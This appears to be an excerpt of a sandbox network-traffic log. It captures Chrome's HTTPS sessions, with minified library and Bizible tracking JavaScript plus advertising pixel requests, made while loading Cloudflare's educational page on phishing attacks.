2024-10-18 13:48:13 UTC	1378	IN	Data Raw: 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 64 2e 70 61 72 73 65 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 29 7d 7d 2c 70 3d 63 2e 42 75 66 66 65 72 65 64 42 6c 6f 63 6b 41 6c 67 6f 72 69 74 68 6d 3d 75 2e 65 78 74 65 6e 64 28 7b 72 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 64 61 74 61 3d 6e 65 77 20 73 2e 69 6e 69 74 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 3d 30 7d 2c 5f 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 68 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 Data Ascii: ion(t){return d.parse(unescape(encodeURIComponent(t)))}},p=c.BufferedBlockAlgorithm=u.extend({reset:function(){this._data=new s.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=h.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigByt
2024-10-18 13:48:13 UTC	1378	IN	Data Raw: 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 65 28 72 29 26 26 28 69 3c 38 26 26 28 63 5b 69 5d 3d 6e 28 74 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 75 5b 69 5d 3d 6e 28 74 2e 70 6f 77 28 72 2c 31 2f 33 29 29 2c 69 2b 2b 29 2c 72 2b 2b 7d 28 29 3b 76 61 72 20 73 3d 5b 5d 2c 6c 3d 61 2e 53 48 41 32 35 36 3d 6f 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 69 2e 69 6e 69 74 28 63 2e 73 6c 69 63 65 28 30 29 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 74 68 69 73 2e 5f 68 61 73 68 2e 77 6f 72 64 73 2c 72 3d 6e 5b 30 5d 2c 69 3d 6e 5b 31 5d 2c 6f 3d 6e 5b 32 5d 2c 61 3d 6e 5b 33 Data Ascii: r(var r=2,i=0;i<64;)e(r)&&(i<8&&(c[i]=n(t.pow(r,.5))),u[i]=n(t.pow(r,1/3)),i++),r++}();var s=[],l=a.SHA256=o.extend({_doReset:function(){this._hash=new i.init(c.slice(0))},_doProcessBlock:function(t,e){for(var n=this._hash.words,r=n[0],i=n[1],o=n[2],a=n[3
2024-10-18 13:48:13 UTC	1378	IN	Data Raw: 72 20 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 74 68 69 73 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 21 74 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 6e 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 74 79 70 65 6f 66 20 74 2b 22 20 22 2b 74 2b 22 20 69 73 20 6e 6f 74 20 69 74 65 72 61 62 6c 65 28 63 61 6e 6e 6f 74 20 72 65 61 64 20 70 72 6f 70 65 72 74 79 20 53 79 6d 62 6f 6c 28 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 29 29 22 29 29 3b 76 61 72 20 72 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 29 3b 69 66 28 30 3d 3d 3d 72 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 65 28 5b 5d 29 3b 76 61 72 20 69 3d 72 2e 6c 65 6e 67 74 Data Ascii: r i=function(t){return new this((function(e,n){if(!t\|\|void 0===t.length)return n(new TypeError(typeof t+" "+t+" is not iterable(cannot read property Symbol(Symbol.iterator))"));var r=Array.prototype.slice.call(t);if(0===r.length)return e([]);var i=r.lengt
2024-10-18 13:48:13 UTC	1378	IN	Data Raw: 76 6f 69 64 20 64 28 74 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 29 72 65 74 75 72 6e 20 76 6f 69 64 20 70 28 28 72 3d 6e 2c 69 3d 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 61 70 70 6c 79 28 69 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2c 74 29 7d 74 2e 5f 73 74 61 74 65 3d 31 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 64 28 74 29 7d 63 61 74 63 68 28 65 29 7b 66 28 74 2c 65 29 7d 76 61 72 20 72 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 66 28 74 2c 65 29 7b 74 2e 5f 73 74 61 74 65 3d 32 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 64 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 74 29 7b 32 3d 3d 3d 74 2e 5f 73 74 61 74 65 26 26 30 3d 3d 3d 74 2e 5f 64 65 66 65 72 72 65 64 73 2e 6c 65 6e 67 74 68 26 26 75 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e Data Ascii: void d(t);if("function"==typeof n)return void p((r=n,i=e,function(){r.apply(i,arguments)}),t)}t._state=1,t._value=e,d(t)}catch(e){f(t,e)}var r,i}function f(t,e){t._state=2,t._value=e,d(t)}function d(t){2===t._state&&0===t._deferreds.length&&u._immediateFn
2024-10-18 13:48:13 UTC	1378	IN	Data Raw: 74 75 72 6e 20 6e 65 77 20 75 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 6e 28 74 29 7d 29 29 7d 2c 75 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 75 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 21 61 28 74 29 29 72 65 74 75 72 6e 20 6e 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 2e 72 61 63 65 20 61 63 63 65 70 74 73 20 61 6e 20 61 72 72 61 79 22 29 29 3b 66 6f 72 28 76 61 72 20 72 3d 30 2c 69 3d 74 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 75 2e 72 65 73 6f 6c 76 65 28 74 5b 72 5d 29 2e 74 68 65 6e 28 65 2c 6e 29 7d 29 29 7d 2c 75 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 73 65 74 49 6d 6d 65 64 69 61 74 65 Data Ascii: turn new u((function(e,n){n(t)}))},u.race=function(t){return new u((function(e,n){if(!a(t))return n(new TypeError("Promise.race accepts an array"));for(var r=0,i=t.length;r<i;r++)u.resolve(t[r]).then(e,n)}))},u._immediateFn="function"==typeof setImmediate
2024-10-18 13:48:13 UTC	1378	IN	Data Raw: 68 72 6f 77 22 3d 3d 3d 69 29 74 68 72 6f 77 20 6f 3b 72 65 74 75 72 6e 20 43 28 29 7d 66 6f 72 28 6e 2e 6d 65 74 68 6f 64 3d 69 2c 6e 2e 61 72 67 3d 6f 3b 3b 29 7b 76 61 72 20 61 3d 6e 2e 64 65 6c 65 67 61 74 65 3b 69 66 28 61 29 7b 76 61 72 20 63 3d 67 28 61 2c 6e 29 3b 69 66 28 63 29 7b 69 66 28 63 3d 3d 3d 6c 29 63 6f 6e 74 69 6e 75 65 3b 72 65 74 75 72 6e 20 63 7d 7d 69 66 28 22 6e 65 78 74 22 3d 3d 3d 6e 2e 6d 65 74 68 6f 64 29 6e 2e 73 65 6e 74 3d 6e 2e 5f 73 65 6e 74 3d 6e 2e 61 72 67 3b 65 6c 73 65 20 69 66 28 22 74 68 72 6f 77 22 3d 3d 3d 6e 2e 6d 65 74 68 6f 64 29 7b 69 66 28 22 73 75 73 70 65 6e 64 65 64 53 74 61 72 74 22 3d 3d 3d 72 29 74 68 72 6f 77 20 72 3d 22 63 6f 6d 70 6c 65 74 65 64 22 2c 6e 2e 61 72 67 3b 6e 2e 64 69 73 70 61 74 63 68 Data Ascii: hrow"===i)throw o;return C()}for(n.method=i,n.arg=o;;){var a=n.delegate;if(a){var c=g(a,n);if(c){if(c===l)continue;return c}}if("next"===n.method)n.sent=n._sent=n.arg;else if("throw"===n.method){if("suspendedStart"===r)throw r="completed",n.arg;n.dispatch
2024-10-18 13:48:13 UTC	1378	IN	Data Raw: 29 7d 28 69 2c 6f 2c 72 2c 61 29 7d 29 29 7d 72 65 74 75 72 6e 20 72 3d 72 3f 72 2e 74 68 65 6e 28 61 2c 61 29 3a 61 28 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 67 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 2e 69 74 65 72 61 74 6f 72 5b 65 2e 6d 65 74 68 6f 64 5d 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 6e 29 7b 69 66 28 65 2e 64 65 6c 65 67 61 74 65 3d 6e 75 6c 6c 2c 22 74 68 72 6f 77 22 3d 3d 3d 65 2e 6d 65 74 68 6f 64 29 7b 69 66 28 74 2e 69 74 65 72 61 74 6f 72 2e 72 65 74 75 72 6e 26 26 28 65 2e 6d 65 74 68 6f 64 3d 22 72 65 74 75 72 6e 22 2c 65 2e 61 72 67 3d 76 6f 69 64 20 30 2c 67 28 74 2c 65 29 2c 22 74 68 72 6f 77 22 3d 3d 3d 65 2e 6d 65 74 68 6f 64 29 29 72 65 74 75 72 6e 20 6c 3b 65 2e 6d 65 74 68 6f 64 3d 22 74 68 72 6f 77 22 2c 65 2e 61 72 67 3d 6e 65 Data Ascii: )}(i,o,r,a)}))}return r=r?r.then(a,a):a()}}function g(t,e){var n=t.iterator[e.method];if(void 0===n){if(e.delegate=null,"throw"===e.method){if(t.iterator.return&&(e.method="return",e.arg=void 0,g(t,e),"throw"===e.method))return l;e.method="throw",e.arg=ne
2024-10-18 13:48:13 UTC	1378	IN	Data Raw: 61 74 6f 72 46 75 6e 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 72 65 74 75 72 6e 21 21 65 26 26 28 65 3d 3d 3d 64 7c 7c 22 47 65 6e 65 72 61 74 6f 72 46 75 6e 63 74 69 6f 6e 22 3d 3d 3d 28 65 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 65 2e 6e 61 6d 65 29 29 7d 2c 74 2e 6d 61 72 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 68 29 3a 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 68 2c 63 28 74 2c 61 2c 22 47 65 6e 65 72 61 74 6f 72 46 75 6e 63 74 69 6f 6e 22 29 29 2c 74 2e 70 Data Ascii: atorFunction=function(t){var e="function"==typeof t&&t.constructor;return!!e&&(e===d\|\|"GeneratorFunction"===(e.displayName\|\|e.name))},t.mark=function(t){return Object.setPrototypeOf?Object.setPrototypeOf(t,h):(t.__proto__=h,c(t,a,"GeneratorFunction")),t.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.8	50810	142.250.184.226	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	868	OUT	GET /pagead/landing?gcs=G111&gcd=13r3r3r3r5l1&tag_exp=101686685&rnd=198759425.1729259291&url=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&dma=0&npa=0&gtm=45He4ah0n81NDGPDFZv890325950za200&auid=60243659.1729259291 HTTP/1.1 Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:13 UTC	791	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 18 Oct 2024 13:48:13 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Fri, 18-Oct-2024 14:03:13 GMT; path=/; domain=.doubleclick.net; Secure; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-18 13:48:13 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.8	50812	152.195.15.58	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	357	OUT	GET /scripts/bizible.js HTTP/1.1 Host: cdn.bizible.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:13 UTC	376	IN	HTTP/1.1 200 OK Age: 59557 Cache-Control: max-age=86400 Content-Type: application/x-javascript Date: Fri, 18 Oct 2024 13:48:13 GMT Etag: "86620de5420db1:0+ident" Last-Modified: Thu, 17 Oct 2024 05:24:41 GMT Server: ECS (lhd/359D) Strict-Transport-Security: max-age=31536000; includeSub Vary: Accept-Encoding X-Cache: HIT Content-Length: 68594 Connection: close
2024-10-18 13:48:14 UTC	16383	IN	Data Raw: ef bb bf 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 51 3d 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 66 75 6e 63 74 69 6f 6e 20 6c 28 6e 2c 6d 2c 72 29 7b 76 61 72 20 74 3d 6e 2e 6c 65 6e 67 74 68 2c 70 2c 76 3b 6d 3d 6d 7c 7c 5b 30 5d 3b 72 3d 72 7c 7c 30 3b 76 61 72 20 77 3d 72 3e 3e 3e 33 3b 69 66 28 30 21 3d 3d 74 25 32 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 53 74 72 69 6e 67 20 6f 66 20 48 45 58 20 74 79 70 65 20 6d 75 73 74 20 62 65 20 69 6e 20 62 79 74 65 20 69 6e 63 72 65 6d 65 6e 74 73 22 29 3b 66 6f 72 28 70 3d 30 3b 70 3c 74 3b 70 2b 3d 32 29 7b 76 61 72 20 78 3d 70 61 72 73 65 49 6e 74 28 6e 2e 73 75 62 73 74 72 28 70 2c 32 29 2c 31 36 29 3b 69 66 28 69 73 4e 61 4e 28 78 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 53 74 72 69 6e Data Ascii: (function(){var Q={};(function(d){function l(n,m,r){var t=n.length,p,v;m=m\|\|[0];r=r\|\|0;var w=r>>>3;if(0!==t%2)throw Error("String of HEX type must be in byte increments");for(p=0;p<t;p+=2){var x=parseInt(n.substr(p,2),16);if(isNaN(x))throw Error("Strin
2024-10-18 13:48:14 UTC	16383	IN	Data Raw: 61 64 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 28 61 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 61 63 74 69 6f 6e 22 29 29 26 26 28 61 3d 61 2e 76 61 6c 75 65 29 26 26 61 2e 6d 61 74 63 68 28 2f 73 61 6c 65 73 66 6f 72 63 65 5c 2e 63 6f 6d 5c 2f 73 65 72 76 6c 65 74 5c 2f 73 65 72 76 6c 65 74 5c 2e 77 65 62 74 6f 6c 65 61 64 2f 69 29 3f 0a 21 30 3a 21 31 7d 3b 62 2e 53 68 6f 75 6c 64 41 74 74 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 64 2e 53 65 74 74 69 6e 67 4d 61 6e 61 67 65 72 2e 47 65 74 44 65 74 61 63 68 46 6f 72 6d 52 65 67 45 78 70 28 29 2c 63 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 72 65 74 75 72 6e 21 61 7c 7c 21 61 2e 74 65 73 74 28 63 29 7d 3b 62 2e 41 74 Data Ascii: ad=function(a){return(a=a.getAttributeNode("action"))&&(a=a.value)&&a.match(/salesforce\.com\/servlet\/servlet\.webtolead/i)?!0:!1};b.ShouldAttach=function(){var a=d.SettingManager.GetDetachFormRegExp(),c=document.location.href;return!a\|\|!a.test(c)};b.At
2024-10-18 13:48:14 UTC	16383	IN	Data Raw: 63 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 28 29 2c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 2c 63 2e 73 72 63 3d 61 7d 7d 3b 62 2e 43 72 65 61 74 65 41 73 79 6e 63 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 61 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 61 2e 61 73 79 6e 63 3d 21 30 3b 72 65 74 75 72 6e 20 61 7d 3b 62 2e 50 75 73 68 50 61 67 65 56 69 65 77 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 0a 7b 5f 62 69 7a 5f 72 3a 64 6f 63 75 6d 65 6e Data Ascii: cScriptElement(),document.getElementsByTagName("head")[0].appendChild(c),c.src=a}};b.CreateAsyncScriptElement=function(){var a=document.createElement("script");a.type="text/javascript";a.async=!0;return a};b.PushPageView=function(a){var c={_biz_r:documen
2024-10-18 13:48:14 UTC	16383	IN	Data Raw: 29 7d 3b 64 2e 70 72 6f 74 6f 74 79 70 65 2e 52 65 70 6f 72 74 55 73 65 72 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 50 75 73 68 28 22 55 73 65 72 22 2c 6c 29 7d 3b 64 2e 70 72 6f 74 6f 74 79 70 65 2e 41 74 74 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 74 68 69 73 2e 5f 71 75 65 75 65 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 5f 71 75 65 75 65 5b 62 5d 3b 6c 2e 50 75 73 68 28 61 2e 74 79 70 65 2c 61 2e 64 61 74 61 29 7d 74 68 69 73 2e 5f 63 61 6c 6c 62 61 63 6b 73 2e 70 75 73 68 28 6c 29 7d 3b 0a 72 65 74 75 72 6e 20 64 7d 28 29 3b 77 69 6e 64 6f 77 2e 42 69 7a 69 62 6c 65 3d 77 69 6e 64 6f 77 2e 42 69 7a 69 62 6c 65 7c 7c 7b 5f 71 75 65 75 65 3a Data Ascii: )};d.prototype.ReportUser=function(l){return this.Push("User",l)};d.prototype.Attach=function(l){for(var b=0;b<this._queue.length;b++){var a=this._queue[b];l.Push(a.type,a.data)}this._callbacks.push(l)};return d}();window.Bizible=window.Bizible\|\|{_queue:
2024-10-18 13:48:14 UTC	3062	IN	Data Raw: 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 43 68 65 63 6b 44 6f 63 75 6d 65 6e 74 4c 6f 63 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 5f 64 6f 63 75 6d 65 6e 74 4c 6f 63 61 74 69 6f 6e 21 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 7b 76 61 72 20 61 3d 7b 5f 62 69 7a 5f 72 3a 74 68 69 73 2e 5f 64 6f 63 75 6d 65 6e 74 4c 6f 63 61 74 69 6f 6e 2c 5f 62 69 7a 5f 68 3a 64 2e 55 74 69 6c 73 2e 47 65 74 43 6c 69 65 6e 74 48 61 73 68 28 29 7d 3b 64 2e 43 6f 6d 6d 2e 50 75 73 68 41 6e 64 53 75 62 6d 69 74 28 22 69 70 76 22 2c 61 29 3b 74 68 69 73 2e 5f 64 6f 63 75 6d 65 6e 74 4c 6f 63 61 74 69 6f 6e 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 7d 7d 3b 62 2e 41 74 74 61 63 68 43 68 61 Data Ascii: ;b.prototype.CheckDocumentLocation=function(){if(this._documentLocation!=document.location.href){var a={_biz_r:this._documentLocation,_biz_h:d.Utils.GetClientHash()};d.Comm.PushAndSubmit("ipv",a);this._documentLocation=document.location.href}};b.AttachCha

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.8	50813	152.195.15.58	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	906	OUT	GET /ipv?_biz_r=https%3A%2F%2Fbookingadocel.com%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259291812&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&_biz_n=0&rnd=105613&cdn_o=a&_biz_z=1729259291814 HTTP/1.1 Host: cdn.bizible.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:13 UTC	560	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 577971 Cache-Control: no-cache, no-store Content-Type: Image/GIF Date: Fri, 18 Oct 2024 13:48:13 GMT Expires: -1 Last-Modified: Fri, 11 Oct 2024 21:15:22 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Pragma: no-cache Server: ECS (lhd/370A) Set-Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea; domain=.bizible.com; path=/; max-age=31536000; SameSite=None; Secure Strict-Transport-Security: max-age=31536000; includeSub X-Cache: HIT Content-Length: 43 Connection: close
2024-10-18 13:48:13 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff ff ff ff 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.8	50816	172.217.18.4	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	575	OUT	GET /ads/ga-audiences?t=sr&aip=1&_r=4&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1055654483&slf_rd=1 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:14 UTC	539	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 18 Oct 2024 13:48:14 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-18 13:48:14 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.8	50818	104.18.36.155	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	636	OUT	GET /rum?cm_dsp_id=18&expiry=1744984093&external_user_id=18ee9fe9-01ca-43a0-b773-2c99f76388ad HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:14 UTC	1202	IN	HTTP/1.1 302 Found Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Length: 0 Connection: close Location: /rum?cm_dsp_id=18&expiry=1744984093&external_user_id=18ee9fe9-01ca-43a0-b773-2c99f76388ad&C=1 CF-Ray: 8d48fc1b3d5f3aae-DFW CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZxJnHdHM4LsAAF-6ABBXzAAA; Path=/; Domain=casalemedia.com; Expires=Sat, 18 Oct 2025 13:48:13 GMT; Max-Age=31536000; Secure; SameSite=None Pragma: no-cache P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Set-Cookie: CMPS=1085; Path=/; Domain=casalemedia.com; Expires=Thu, 16 Jan 2025 13:48:13 GMT; Max-Age=7776000; Secure; SameSite=None Set-Cookie: CMPRO=1085; Path=/; Domain=casalemedia.com; Expires=Thu, 16 Jan 2025 13:48:13 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: 